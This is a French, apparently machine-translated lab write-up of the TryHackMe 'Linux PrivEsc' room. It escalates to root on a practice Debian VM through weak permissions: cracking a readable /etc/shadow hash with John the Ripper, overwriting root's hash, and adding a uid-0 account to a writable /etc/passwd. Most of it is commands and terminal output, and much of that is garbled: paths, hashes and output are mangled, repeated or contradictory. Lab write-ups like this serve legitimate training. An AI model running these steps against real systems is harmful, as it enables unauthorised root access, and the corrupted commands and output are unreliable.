Cette fois, nous essaierons «l'élévation des privilèges en utilisant des autorisations de fichiers vulnérables dans Linux».
La machine cible utilise la pièce ci-dessous de Tryhackme.
"Tryhackme-Linux Privesc: https://tryhackme.com/room/linuxprivesc "

Cet article est dans la partie 2.
Si vous souhaitez consulter l'écriture pour Linux PRIVESC avec TryhackMe, veuillez également vérifier Privilege Evolution à l'aide de la fonction défini par l'utilisateur MySQL (UDF)





Déployer la VM Vulnérable Debian
Tout d'abord, essayez de démarrer la machine cible avec TryhackMe et de le vérifier au point où vous pouvez vous connecter via SSH.
Démarrer la machine cible
Sélectionnez "Démarrer la machine" pour démarrer.

Si "l'adresse IP" s'affiche, la machine cible a terminé le démarrage.

Connectez-vous à votre compte d'utilisateur avec SSH
Connectez-vous à la machine cible via SSH.
Veuillez noter que pour Kali, "-ohostKeyAlgorithms = + SSH-RSA" peut être nécessaire.
# ssh user@10.10.77.90 -ohostkeyalgorithms = + ssh-rsa L'authenticité de l'hôte '10 .10.77.90 (10.10.77.90) 'ne peut pas être établie. L'empreinte digitale de la clé RSA est SHA256: jwwpvfqc + 8lpqda0b9wfzzxcxcoaho6s8wygjktank. Cette clé n'est connue par d'autres noms, êtes-vous sûr de continuer à vous connecter (oui / non / [empreinte digitale])? Oui Avertissement: Ajout en permanence '10 .10.77.90 '(RSA) à la liste des hôtes connus. user@10.10.77.90's Mot de passe: autorisation refusée, veuillez réessayer. user@10.10.77.90's: Linux Debian 2.6.32-5-AMD64 # 1 SMP TUe 13 mai 16:34:35 UTC 2014 X86_64 Les programmes inclus avec le système Debian GNU / Linux sont des logiciels gratuits; Les termes de distribution exacts de chaque programme sont décrits dans les fichiers individuels dans / usr / share / doc / * / copyright. Debian GNU / Linux ne comporte absolument aucune garantie, dans la mesure permise par la loi applicable. Dernière connexion: ven 15 mai 06:41:23 2020 de 192.168.1.125
Autorisations de fichiers faibles
Une fois prêt, essayez d'utiliser les autorisations de fichiers vulnérables pour augmenter les privilèges pour root.
Cette fois, deux fichiers sont inclus. Les deux vous obligeront à manipuler les informations de votre compte (valeur de hachage de mot de passe).
- / etc / ombre
- / etc / passwd
Lisible / etc / ombre (lisible / etc / ombre)
"/ etc / shadow" contient le mot de passe de l'utilisateur en tant que valeur de hachage.
Normalement, seule la racine peut être lue, mais s'il y a une vulnérabilité dans les autorisations de fichiers et est lisible, vous pouvez obtenir le mot de passe.
Tout d'abord, jetons un coup d'œil aux autorisations d'accès pour "/ etc / shadow".
Vous pouvez voir que n'importe qui peut le lire.
utilisateur @ debian: ~ $ ls -l / etc / shadow -rw-r - rw- 1 root shadow 837 25 août 2019 / etc / shadow
Nous vérifierons le contenu de l'ombre.
Le premier est le nom d'utilisateur et le second est la valeur de hachage du mot de passe. Cette fois, je vais craquer ceci et obtenir le mot de passe.
- [Nom d'utilisateur]: [Password_hash]:…
Utilisateur @ debian: ~ $ cat / etc. daemon:*:17298:0:99999:7::: bin:*:17298:0:99999:7::: sys:*:17298:0:99999:7::: games:*:17298:0:99999:7::: man:*:17298:0:99999:7::: lp:*:17298:0:99999:7::: news:*:17298:0:99999:7::: uucp:*:17298:0:99999:7::: proxy:*:17298:0:99999:7::: www-data:*:17298:0:99999:7:::: backup:*:17298:0:99999:7::: list:*:17298:0:99999:7:::: irc:*:17298:0:99999:7::: gnats:*:17298:0:99999:7::: nobody:*:17298:0:99999:7::: libuuid: !: 17298: 0: 99999: 7 ::: Debian-exim: !: 17298: 0: 99999: 7 ::: SSHD: *: 17298: 0: 99999: 7 :::: Utilisateur: 6 $ m1tqjkeb $ m1a / arh4jeyf1zbjplq.tzqr1loculz0wizsoy6adozrfryirkdw5ijy32fbgjwypte STATD: *: 17299: 0: 99999: 7 ::: MySQL: !: 18133: 0: 99999: 7 :::
À partir de ce qui précède, pour obtenir le mot de passe racine, enregistrez la valeur de hachage du mot de passe racine dans hash.txt.
À partir de maintenant, nous travaillerons du côté Kali (Machine d'attaque).
# Mkdir Tryhackme # CD TRYHACKME # VI Hash.txt # Cat Hash.txt 6 $ TB / EUWMK $ OXA.DWMEOACOPWBL68BOTG5ZI65WIHSC84OWAIYE5VITLLTVLAXVRDJXET..IT8R.JBRLPFZEMDWDD3B0FGXET..IT8R.JBRLPFZEMDWD3B0FGXET..IT8R.JBRLPFZEMDWD3B0FGXET ..
Une fois que vous avez fait cela, fissurez le hash.txt mentionné plus tôt en utilisant John the Ripper.
Lorsque vous vérifiez les résultats, vous verrez que le mot de passe est "Password123".
# John - WordList = / usr / share / wordlists / rockyou.txt hash.txt répertoire créé: /root/.john en utilisant le codage d'entrée par défaut: UTF-8 Hash de mot de passe chargé (Sha512Crypt, crypte (3) 6 $ $ [sha512 256/256 Avx2 4x]) Threads Appuyez sur 'Q' ou CTRL-C pour abandonner, presque toutes les autres touches pour Status Password123 (?) 1G 0: 00: 00: 00 Terminé (2023-03-06 14:36) 1.428G / S 2194P / S 2194C / S 2194C / S Cutties..428G / S 2194P / S 2194C / S 2194C / S Cuties..MEXICO1 Utilisez la séance d'option "- Show" pour afficher tous les passages de passe craqués.
Une fois que vous connaissez le mot de passe, tout ce que vous avez à faire est d'obtenir des privilèges racine à l'aide de "su racine".
utilisateur @ debian: ~ $ su Mot de passe root: root @ debian: / home / user # #
J'ai pu dégénérer avec succès mes privilèges de rooter!
Je pense que je peux répondre à vos questions Tryhackme en utilisant les questions précédentes.

Écrivable / etc / Shadow (Writable / etc / Shadow)
Si "/ etc / shadow" est écrit, vous pouvez dégénérer les privilèges pour rooter en réécrivant la valeur de hachage du mot de passe.
C'est exactement l'opposé de ce que je pensais.
Tout d'abord, vérifiez les autorisations pour "/ etc / shadow". Il semble que vous ayez une autorisation d'écriture.
$ ls -l / etc / shadow -rw-r - rw- 1 root shadow 837 25 août 2019 / etc / shadow
Créons maintenant un hachage du mot de passe à l'aide de mkpasswd.
Pour [newpassword], définissez le mot de passe que vous souhaitez utiliser comme racine.
$ mkpasswd -m sha-512 newpassword 6 $ $ .ep9gjdsi0v $ lhlxnvvmpg06kvymtpufpo9quogg / jvi9yo // izayw4xuqmbkx4xzxym5agggto8.xc1x0dbsscukkhf.d0281
Une fois le hachage généré, réécrivez le hachage du mot de passe racine dans "/ etc / shadow" avec le hachage que vous venez de générer.
$ Cat / etc / Shadow Root: 6 $ $ .EP9GJDSI0V $ lhlxnvvmpg06kvymtpufpo9quogg / jvi9yo // izayw4xuqmbkx4xzxym5agggto8.xc1x0dbsskkhf.d0281: 17298: 0: 99999: 7 ::: daemon:*:17298:0:99999:7::: bin:*:17298:0:99999:7::: sys:*:17298:0:99999:7::: games:*:17298:0:99999:7::: man:*:17298:0:99999:7::: lp:*:17298:0:99999:7::: news:*:17298:0:99999:7::: uucp:*:17298:0:99999:7::: proxy:*:17298:0:99999:7::: www-data:*:17298:0:99999:7:::: backup:*:17298:0:99999:7::: list:*:17298:0:99999:7:::: irc:*:17298:0:99999:7::: gnats:*:17298:0:99999:7::: nobody:*:17298:0:99999:7::: libuuid: !: 17298: 0: 99999: 7 ::: Debian-exim: !: 17298: 0: 99999: 7 ::: SSHD: *: 17298: 0: 99999: 7 :::: Utilisateur: 6 $ m1tqjkeb $ m1a / arh4jeyf1zbjplq.tzqr1loculz0wizsoy6adozrfryirkdw5ijy32fbgjwypte STATD: *: 17299: 0: 99999: 7 ::: MySQL: !: 18133: 0: 99999: 7 :::
Je pense que j'ai maintenant pu dégénérer mes privilèges de root.
utilisateur @ debian: ~ $ su Mot de passe root: root @ debian: / home / user # #
Écrivable / etc / passwd (Writable / etc / Passwd)
"/ etc / passwd" contient des informations sur votre compte d'utilisateur.
Tout le monde peut le lire, mais rien d'autre que Root ne peut l'écrire.
Certains Linux peuvent permettre aux utilisateurs d'inclure le hachage du mot de passe.
Si les privilèges autres que Root sont autorisés à écrire, il est possible d'exploiter la vulnérabilité pour augmenter les privilèges de root.
Tout d'abord, regardons l'autorité. Apparemment, vous avez une autorisation écrite.
Il semble que vous puissiez attaquer.
utilisateur @ debian: ~ $ ls -l / etc / passwd -rw-r - rw- 1 racine root 1009 25 août 2019 / etc / passwd
Pour être sûr, je vais vérifier l'état actuel du PASSWD. La racine est définie sur "x".
Une fois que vous avez généré le hachage, remplacez-le par un hachage.
Utilisateur @ debian: ~ $ cat / etc. Sync: X: 4: 65534: Sync: / bin: / bin / sync Games: x: 5: 60: jeux: / usr / jeux: / bin / sh man: x: 6: 12: man: / var / cache / man: / bin / sh lp: x: 7: 7: lp: / var / spool / lpd: / bin / sh Mail: x: 8: 8: mail: / var / bin: bin / sh Mail: X: 8: 8: MAIL: MAIL: / VAR / LPD: / bin / sh Mail: X: 8: 8: MAIL: MAIL: / VAR / LPD: / BIN / SH MAIL: X: 8: 8: MAIL: MAIL: / VAR / LPD: / BIN / SH Mail: X: 8: 8: MAIL NOUVELLES: X: 9: 9: Actualités: / var / spool / news: / bin / sh uucp: x: 10: 10: uucp: / var / spool / uucp: / bin / sh proxy: x: 13: 13: proxy: Sauvegarde: x: 34: 34: sauvegarde: / var / sauvegardes: / bin / sh list: x: 38: 38: la liste de diffusion Manager: / var / list: / bin / sh IRC: x: 39: 39: IRCD: / var / run / ircd: Personne: X: 65534: 65534: Personne: / non existant: / bin / sh libuuid: x: 100: 101 :: / var / lib / libuuid: / bin / sh debian-exim: x: 101: 103 :: / var / spool / exim4: / bin / false: sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin user:x:1000:1000:user,,,:/home/user:/bin/bash statd:x:103:65534::/var/lib/nfs:/bin/false mysql:x:104:106:MySQL Serveur ,,,,: / var / lib / mysql: / bin / false
Le hachage est généré avec la commande suivante:
cette fois, nous utiliserons "newpassword2" comme nouveau mot de passe.
Utilisateur @ debian: ~ $ OpenSSL PASSWD NEWPASSWORD2 AVERTISSEMENT: Mot de passe tronqué à 8 caractères 6B3UD4HKGOXVE
Une fois que vous avez généré un hachage, remplacez la valeur de hachage par l'emplacement où "x" était auparavant.
user @ debian: ~ $ vi / etc / passwd user @ debian: ~ $ cat / etc / passwd root: 6b3ud4hkgoxve: 0: 0: root: / root: / bin / bash daemon: x: 1: 1: démon: / usr / sbin: / bin / sh bin: x: 2: bin: / bin: / bin / sh SYS: X: 3: 3: sys: / dev: / bin / sh sync: x: 4: 65534: sync: / bin: / bin / sync: x: 5: 60: jeux: / usr / jeux: / bin / sh man: x: 6: 12: man: / var / cache / man: / bin / sh lp: x: 7: 7: lp: / var / spool / lpd / sh: x: 7: 7: Mail: X: 8: 8: Mail: / var / Mail: / bin / sh News: X: 9: 9: News: / var / Spool / News: / bin / sh uucp: x: 10: 10: uucp: / var / spool / uucp: / bin / sh proxy: x: 13: 13: proxy: / bin: / bin / sh shat: www-data: x: 33: 33: www-data: / var / www: / bin / sh sauvegarde: x: 34: 34: sauvegarde: / var / sauvegarde: / bin / sh list: x: 38: 38: la liste de diffusion Manager: / var / liste: GNATS: X: 41: 41: Gnats Système de reportage de bug (Admin): / var / lib / gnats: / bin / sh Nobod Debian-exim: x: 101: 103 :: / var / spool / exim4: / bin / false sshd: x: 102: 65534 :: / var / run / sshd: / usr / sbin / nologin utilisateur: x: 1000: 1000: utilisateur ,,,: / home / user: / bin / bin statd: x: 103: 65534 :: / var / lib / nfs: / bin / false mysql: x: 104: 106: mysql server ,,,,:: / var / lib / mysql: / bin / false
Une fois que vous êtes arrivé jusqu'ici, essayez de vous connecter pour root.
Je pense que j'ai pu dégénérer avec succès mes privilèges de root.
user @ debian: ~ $ su Mot de passe root: newpassword2
Si cela continue comme ça, cela ne fonctionnera pas, donc je vais créer un Newroot.
Copiez les paramètres racine partout et ajoutez-les à la nouvelle ligne, et laissez la racine à "x".
root @ debian: / home / user # vi / etc / passwd root @ debian: / home / user # cat / etc / passwd root: x: 0: 0: root: / root: / bin / bash daemon: x: 1: 1: daemon: / usr / bin: SYS: X: 3: 3: sys: / dev: / bin / sh sync: x: 4: 65534: sync: / bin: / bin / sync: x: 5: 60: jeux: / usr / jeux: / bin / sh man: x: 6: 12: man: / var / cache / man: / bin / sh lp: x: 7: 7: lp: / var / spool / lpd / sh: x: 7: 7: Mail: X: 8: 8: Mail: / var / Mail: / bin / sh News: X: 9: 9: News: / var / Spool / News: / bin / sh uucp: x: 10: 10: uucp: / var / spool / uucp: / bin / sh proxy: x: 13: 13: proxy: / bin: / bin / sh shat: www-data: x: 33: 33: www-data: / var / www: / bin / sh sauvegarde: x: 34: 34: sauvegarde: / var / sauvegarde: / bin / sh list: x: 38: 38: la liste de diffusion Manager: / var / liste: GNATS: X: 41: 41: Gnats Système de reportage de bug (Admin): / var / lib / gnats: / bin / sh Nobod Debian-exim: x: 101: 103 :: / var / spool / exim4: / bin / false sshd: x: 102: 65534 :: / var / run / sshd: / usr / sbin / nologin utilisateur: x: 1000: 1000: utilisateur ,,,: / home / user: / bin / bin statd: x: 103: 65534 :: / var / lib / nfs: / bin / false mysql: x: 104: 106: mysql server ,,,:: / var / lib / mysql: / bin / false newroot: 6b3ud4hkgoxve: 0: 0: root: / root: / bin / bash root @ debian: / home / uster
Dans cet état, connectez-vous à Newroot.
Je pense que vous pouvez augmenter vos privilèges pour rooter avec un nouveau mot de passe.
Même si vous vérifiez l'ID, vous serez root.
User @ debian: ~ $ su newroot mot de passe: newpassword2 root @ debian: / home / user # id uid = 0 (root) gid = 0 (root) groupes = 0 (root)
Connectez-vous et essayez de vous connecter pour root.
Je pense que vous pouvez vous connecter à l'aide de "NewPassword". Vous avez pu établir une nouvelle méthode de connexion tout en conservant votre mot de passe d'origine.
root @ debian: / home / utilisateur # sort de sortie utilisateur @ debian: ~ $ su Mot de passe racine: newpassword root @ debian: / home / utilisateur #
Pour votre question Tryhackme, veuillez coller les résultats de la commande ID ci-dessus.

résumé
Cette fois, j'ai essayé «l'élévation des privilèges en utilisant des autorisations de fichiers vulnérables dans Linux».
Fondamentalement, par défaut, il ne devrait pas avoir d'autorisations de fichiers vulnérables, mais j'ai encore réalisé que nous devons faire attention à ne pas provoquer ce type de situation.
Références et sites
-: -